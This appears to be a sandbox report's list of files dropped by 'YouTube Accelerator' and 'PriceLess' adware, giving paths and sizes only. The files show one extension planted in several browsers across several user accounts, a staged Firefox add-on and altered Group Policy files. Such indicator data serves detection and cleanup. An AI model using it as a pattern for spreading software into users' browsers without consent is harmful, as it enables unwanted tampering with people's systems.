%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD2E.tmp (90734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK733.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM936.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ52F.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC52E.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\install.rdf (3404 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.153\chrome.dll (730 bytes)
C:\Windows\System32\GroupPolicy\gpt.ini (220 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.dll (566 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\background.html (144 bytes)
C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.exe (135282 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\manifest.json (501 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.tlb (3 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.tlb (259 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.dat (260 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\ovvklDzNeN5MqWS.dat (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Preferences__.tmp (9184665 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Windows\System32\GroupPolicy\Machine\Registry.pol (284 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.x64.dll (23680 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.dll (19977 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\content.js (6 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\content\bg.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\chrome.manifest (140 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Local State (54 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\lsdb.js (9 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\content\bg.js (4160 bytes)
C:\Windows\SysWOW64\GroupPolicy\gpt.ini (29 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\ProgramData\536f8e778e8e7ab8\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}.20150108065644 (158 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\chrome.dll (330 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.x64.dll (701 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\install.rdf (595 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\chrome.manifest (35 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\YZzitu1.js (26 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.dat (260 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\bootstrap.js (1032 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\bootstrap.js (2 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Windows\Temp\SBC3FD0.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3356_YouTubeAcceleratorService.log (258395 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC3523.tmp (98 bytes)
C:\Windows\Temp\SBC3799.tmp (547 bytes)
C:\Windows\Temp\SBC4398.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3356.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC7C26.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC3EC6.tmp (98 bytes)
C:\Windows\Temp\SBC3C64.tmp (44 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
